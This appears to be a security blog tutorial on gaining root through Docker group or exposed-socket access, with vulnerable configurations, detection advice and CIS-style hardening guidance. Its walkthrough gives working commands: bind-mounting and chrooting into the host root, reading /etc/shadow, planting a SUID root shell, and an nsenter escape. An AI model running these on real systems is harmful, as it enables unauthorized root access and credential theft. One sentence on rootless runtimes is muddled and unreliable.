Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
The docker group exists so that ordinary users can run docker commands without prefixing every invocation with sudo. What that grant actually confers is unrestricted read/write access to the Docker daemon’s Unix socket (/var/run/docker.sock), and the Docker daemon itself runs as root. Handing a user control of a root-owned daemon that can mount arbitrary host paths into containers is functionally identical to handing that user root on the host — it is simply root reached through one extra hop. This is documented Docker behavior, not a bug, which is exactly why it is so often misconfigured: administrators add developers to docker for convenience without registering that the grant is root-equivalent.
The escalation path itself takes seconds: bind-mount the host’s root filesystem into a throwaway container, chroot into it, and the shell now operates with full read/write access to every file on the host, as UID 0. No container escape, no kernel exploit, and no special container image is required — any base image with a shell (alpine, busybox, ubuntu) is sufficient, and most Docker installs ship one already pulled or make it a single docker pull away.
Attack Prerequisites
This technique requires almost nothing beyond the group membership itself:
- Membership in the
dockergroup, or any other form of access to the Docker socket (/var/run/docker.sockwritable directly, or a TCP Docker API endpoint exposed without TLS client-cert auth). - A working Docker client and daemon on the host — true by definition if the user can run
dockercommands at all. - No
sudorequired — this bypassessudoentirely; group membership is the only credential needed. - Outbound access to pull an image is convenient but not required — a cached local image (
docker images) is enough to perform the mount.
How It Works
Docker’s default configuration has the CLI talk to dockerd over a Unix domain socket owned by root:docker with group-read/write permissions. Anyone in that group can therefore issue arbitrary API calls to a daemon that itself runs as root and, critically, is willing to create containers with essentially any capability set, mount specification, or namespace configuration the caller requests — Docker enforces almost no policy over what a socket-authorized client may ask for. There is no meaningful authorization layer between “can talk to the socket” and “can run privileged containers”; those are the same permission.
The specific primitive abused here is bind mounting (-v hostpath:containerpath) an arbitrary host path into a container. Bind mounts are not namespaced copies — they are the same inode, made visible inside the container’s filesystem view, and all container filesystem operations against a bind mount happen against the real host filesystem underneath. If the mounted host path is / itself, the container gets a live view of the entire host root filesystem writable by root (the default user inside most base images before a USER directive drops privileges). chroot-ing into that mount point simply changes the process’s idea of / to point at the mounted host root, so every subsequent file operation targets the real host disk.
This differs from a container *escape* in an important way: no vulnerability in the container runtime, kernel namespace isolation, or runc is being exploited. The daemon is doing exactly what it was asked to do — mount a host path and run a process against it as root — which is precisely why restricting *who can talk to the daemon* is the only real control point.
Vulnerable Code / Configuration
The misconfiguration is entirely at the OS/group-membership layer, not in a config file — a user account added to docker without recognizing the equivalence to root:
# /etc/group -- VULNERABLE: dave is granted root-equivalent access
docker:x:999:dave,alice,ci-runner
# Confirm from the user's own session:
$ id
uid=1001(dave) gid=1001(dave) groups=1001(dave),999(docker)
BashAn equally exploitable variant is a Docker daemon exposed over TCP without mutual TLS, which grants the same root-equivalent access to anyone who can reach the port on the network:
# /etc/docker/daemon.json -- VULNERABLE: unauthenticated remote API
{
"hosts": ["tcp://0.0.0.0:2375", "unix:///var/run/docker.sock"]
}
# Anyone reaching :2375 can run: docker -H tcp://target:2375 ...
# with the exact same bind-mount escalation shown below.
TEXTWalkthrough / Exploitation
Confirm docker group membership and socket access first — this alone proves the escalation is available without touching sudo:
id | grep -o docker
docker version # succeeds without sudo if the socket grant is effective
BashRun a container that bind-mounts the host’s entire root filesystem, then chroot into it. This single line is the complete attack:
docker run --rm -it -v /:/mnt alpine chroot /mnt sh
# now inside a shell whose / is the HOST's root filesystem, as root
# id
uid=0(root) gid=0(root)
cat /etc/shadow # reading host secrets directly
BashFor a persistence-oriented variant that survives without keeping the container running, drop a SUID root shell directly onto the host disk from inside the mounted container, then exit and use it from the normal host shell:
docker run --rm -v /:/mnt alpine sh -c \
"cp /bin/busybox /mnt/tmp/rootshell && chmod 4755 /mnt/tmp/rootshell"
/tmp/rootshell -c 'id; /bin/sh -p' # SUID root shell, no docker call needed
BashAn equivalent, arguably stealthier route avoids a visible bind mount altogether by launching a container with --privileged and the host’s PID namespace, then using nsenter to join PID 1’s own mount/user/net namespaces directly:
docker run --rm -it --pid=host --privileged ubuntu \
nsenter -t 1 -m -u -i -n -p -- bash
# full host namespace context, equivalent to a root shell on the host itself
BashNote: Rootless Docker and Podman close this specific path because the daemon (or Podman’s daemonless model) runs as the invoking user rather than root, so a bind-mounted
/is only writable to the extent that user already could write to it — the equivalence to host root disappears. Simply switching container runtime without addressing socket group membership is the actual fix, not just a cosmetic one.
Opsec: Every container creation goes through the Docker daemon and is visible via
docker ps -a,docker events, and (if enabled) the Docker daemon’s own JSON logs — a-v /:/mntmount with achrootcommand is an obvious signature for defenders reviewing container audit logs. Falcon/Sysmon-for-Linux style EDR on the host will also see the resulting root-owned processes and file writes originate fromcontainerd-shim/runc, which is a strong correlation signal even without Docker-specific logging.
Detection and Defense
Treat any grant of Docker socket access as a root grant, and control it accordingly:
- Do not add general users to
docker— audit/etc/groupfor thedockerline and remove anyone who isn’t a fully trusted administrator or CI system. - Never bind the Docker API to
0.0.0.0without TLS client-certificate authentication (tlsverify); if remote access is required, put it behind mutual TLS and a firewall. - Adopt rootless Docker or Podman where feasible, since neither maps group membership directly to root on the host.
- Gate access through a narrow
sudowrapper (e.g. specific pre-approveddocker runinvocations with fixed images/mounts) instead of raw socket or group access, if users genuinely need to run containers. - Monitor
docker events/ daemon logs for container creations that mount host paths outside expected volume directories (-v /:...,-v /etc:...),--privilegedlaunches, and--pid=hostusage.
Real-World Impact
This is one of the most frequently flagged findings in Linux host and CI/CD security reviews — build agents and Jenkins/GitLab runner users are routinely added to docker so pipelines can build images, which unintentionally makes every job (and anyone who can trigger one) root-equivalent on the runner host. Docker’s own documentation explicitly warns that the docker group “grants privileges equivalent to the root user,” and CIS Docker Benchmark guidance treats unrestricted docker group membership and unauthenticated exposed daemons as high-severity findings for exactly this reason.
Conclusion
Docker group membership is not a scoped, low-privilege convenience — it is root, delivered through the daemon socket instead of sudo. Any account that can talk to dockerd can bind-mount the host filesystem and chroot into it as root in a single command, so the only durable control is treating docker group grants with the same scrutiny as direct root access: minimal membership, no unauthenticated remote sockets, and rootless runtimes wherever the workload allows it.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments